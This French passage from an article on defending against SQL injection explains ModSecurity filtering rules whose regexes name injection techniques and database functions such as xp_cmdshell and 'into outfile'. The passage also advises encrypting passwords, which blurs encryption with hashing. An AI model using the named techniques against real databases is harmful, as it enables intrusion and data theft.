L'ensemble des bonnes pratiques de développement évoquées précédemment n'est pas toujours applicable. Par exemple, il arrive de devoir héberger des applications Web dont on ne dispose pas du code source. Il est aussi très fréquent d'être obligé de garder en exploitation de vieilles applications qui n'ont pas été développées en prenant en compte la sécurité, et dont la refonte demanderait trop de ressources. Dans ce genre de cas, la mise en place d'un relais inverse qui réalise un filtrage au niveau applicatif permet de minimiser l'exposition de l'application Web et d'offrir un point central de détection d'anomalies. Dans une optique de défense en profondeur, le relais inverse filtrant peut bien sûr protéger les applications censées être correctement développées.

De nombreux relais inverses filtrant existent, la plupart du temps sous forme d'appliance, mais les exemples suivants reposent sur ModSecurity [MODSEC], un projet Open Source. ModSecurity inspecte chaque requête qui transite. À partir d'un fichier de règles, il détermine si le contenu correspond à une signature de requêtes dangereuse. Une action permet ensuite de bloquer ou simplement journaliser l'activité anormale.

SecDefaultAction "log,pass,phase:2,status:500,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction|open(?:rowset|query)|1\s*=\s*1|dbms_java)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)')" \
        "capture,t:replaceComments,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack. Matched signature <%{TX.0}>',,id:'950001',severity:'2'"

Détection de tentative d'injection SQL

Dans l'exemple ci-dessus, SecDefaultAction définit les actions par défaut à appliquer lorsqu'une requête correspond à une signature qui suit. Ici, l'action est de créer une entrée dans les logs, mais de ne pas la bloquer. Un code d'erreur HTTP est renvoyé et les paramètres t: proposent des opérations de normalisation, afin de limiter les possibilités d'échapper la signature en utilisant de l'encodage de caractères. La ligne SecRule est un exemple de signature. Elle précise d'abord que celle-ci s'applique aux noms de fichiers, aux variables, à leurs valeurs et aux entêtes. La chaîne de caractères suivante donne, sous forme d'expression rationnelle, un ensemble de contenu caractéristique d'une injection SQL. La dernière ligne correspond à l'action à prendre lorsque la signature concorde. Dans ce cas, certaines actions définies précédemment sont remplacées, comme le fait que la requête soit bloquée et le code d'erreur HTTP renvoyé est différent. L'option t:replaceComments propose de remplacer les commentaires SQL par un espace simple.

ModSecurity ne filtre pas que les requêtes passées à l'application Web, mais permet aussi d'inspecter le contenu des pages renvoyées aux utilisateurs. Plus gourmande en ressources, cette fonction n'est pas activée par défaut. Pour que ce soit le cas, la variable SecResponseBodyAccess doit avoir une valeur à On. La signature présentée dans l'exemple ci-dessous offre la possibilité de détecter des erreurs SQL contenues dans les pages HTML renvoyées à l'utilisateur (RESPONSE_BODY), de les intercepter et de les remplacer par un code HTTP d'erreur 500. Ainsi, l'attaquant sera, dans le pire des cas, dans une situation de Blind Injection.

SecResponseBodyAccess On

SecRule RESPONSE_BODY "\b(?:(?:Microsoft OLE DB Provider for .{0,30} [eE]rro|You have an error in your SQL syntax nea)r |error '800a01b8)'|Un(?:closed quotation mark before the character string\b|able to connect to PostgreSQL server:)|(?:Warning: mysql_connect\(\)|PostgreSQL query failed):|cannot take a \w+ data type as an argument\.|incorrect syntax near (?:\'|the\b|@@error\b)|microsoft jet database engine error '8|(?:\[Microsoft\]\[ODBC|ORA-\d{5}:) )" \
        "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'SQL Information Leakage',,id:'970003',severity:'4'"

Blocage des pages d'erreurs

5.4. Respecter les règles de sécurité de base

Il ne faut pas oublier les règles de base de la sécurité informatique. Il faut faire attention au compte que l'on utilise. Il est inutile et dangereux d'utiliser un compte administrateur pour faire des SELECT ! Le plus souvent, un utilisateur qui a les droits d'écriture et de lecture est suffisant. On peut même autoriser un compte à avoir le droit d'écriture uniquement sur certaines tables.

Il faut maintenir son système à jour. Certains problèmes de sécurité sont corrigés dont des injections SQL dans les fonctions du SGBD.

Il est recommandé de chiffrer les informations sensibles comme les mots de passe. Il existe plusieurs méthodes de chiffrement. En cas d'injection SQL réussie, les données volées seront difficilement exploitables.

6. Conclusion

Le risque des injections SQL est réel et il touche tous les SGBD. Elles peuvent permettre de récupérer des données mais aussi d'affecter le système d'exploitation. Les injections SQL sont plus ou moins dificiles à réaliser selon le niveau de protection mis en place. De plus, si les messages d'erreurs ne sont pas filtrés, l'injection SQL devient plus facile. Pour les éviter, il est important d'avoir une approche muti-niveaux. Il faut valider les entrées, utiliser des requêtes paramètres, filtrer les messages d'erreur et suivre les règles de base de la sécurité. En cas d'imperfection dans un niveau, les autres sont là pour complexifier la tâche du pirate.

7. Références